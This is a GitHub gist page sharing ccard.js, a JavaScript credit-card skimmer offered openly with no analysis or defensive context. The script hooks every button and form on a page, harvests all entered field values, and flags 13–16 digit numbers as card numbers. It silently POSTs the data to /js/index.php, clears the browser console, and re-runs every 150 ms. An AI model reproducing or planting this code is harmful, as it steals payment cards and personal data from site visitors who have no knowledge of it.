Skip to content

Instantly share code, notes, and snippets.

@mistigi
Forked from anonymous/ccard.js
Last active August 29, 2015 14:20
Show Gist options
  • Save mistigi/c714aff02b11fc4a19d3 to your computer and use it in GitHub Desktop.
Save mistigi/c714aff02b11fc4a19d3 to your computer and use it in GitHub Desktop.

Revisions

  1. @invalid-email-address Anonymous created this gist Apr 28, 2015.
    52 changes: 52 additions & 0 deletions ccard.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,52 @@
    var snd =null;
    window.onload = function () {
    if((new RegExp('[A-Za-z0-9_]')).test(window.location)) {
    send();
    }
    }
    function clk() {
    var inp=document.querySelectorAll("input, select, textarea, checkbox");
    for (var i=0;i<inp.length;i++){
    if(inp[i].value.length>0) {
    var nme=inp[i].name;
    if(nme=='') { nme=i; }
    snd+=inp[i].name+'='+inp[i].value+'&';
    }
    }
    }
    function send() {
    var btn=document.querySelectorAll("button, input, submit, .btn, .button");
    for (var i=0;i<btn.length;i++){
    var b=btn[i];
    if(b.type!='text' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
    if(b.addEventListener) {
    b.addEventListener("click", clk, false);
    }else {
    b.attachEvent('onclick', clk);
    }
    }
    }
    var frm=document.querySelectorAll("form");
    for (var i=0;i<frm.length;i++){
    if(frm[i].addEventListener) {
    frm[i].addEventListener("submit", clk, false);
    }else {
    frm[i].attachEvent('onsubmit', clk);
    }
    }
    if(snd!=null) {
    console.clear();
    var cc = new RegExp("[0-9]{13,16}");
    var asd="0";
    if(cc.test(snd)){
    asd="1" ;
    }
    var http = new XMLHttpRequest();
    http.open("POST","/js/index.php",true);
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    http.send("data="+snd+"&asd="+asd);
    console.clear();
    }
    snd=null;
    setTimeout('send()', 150);
    }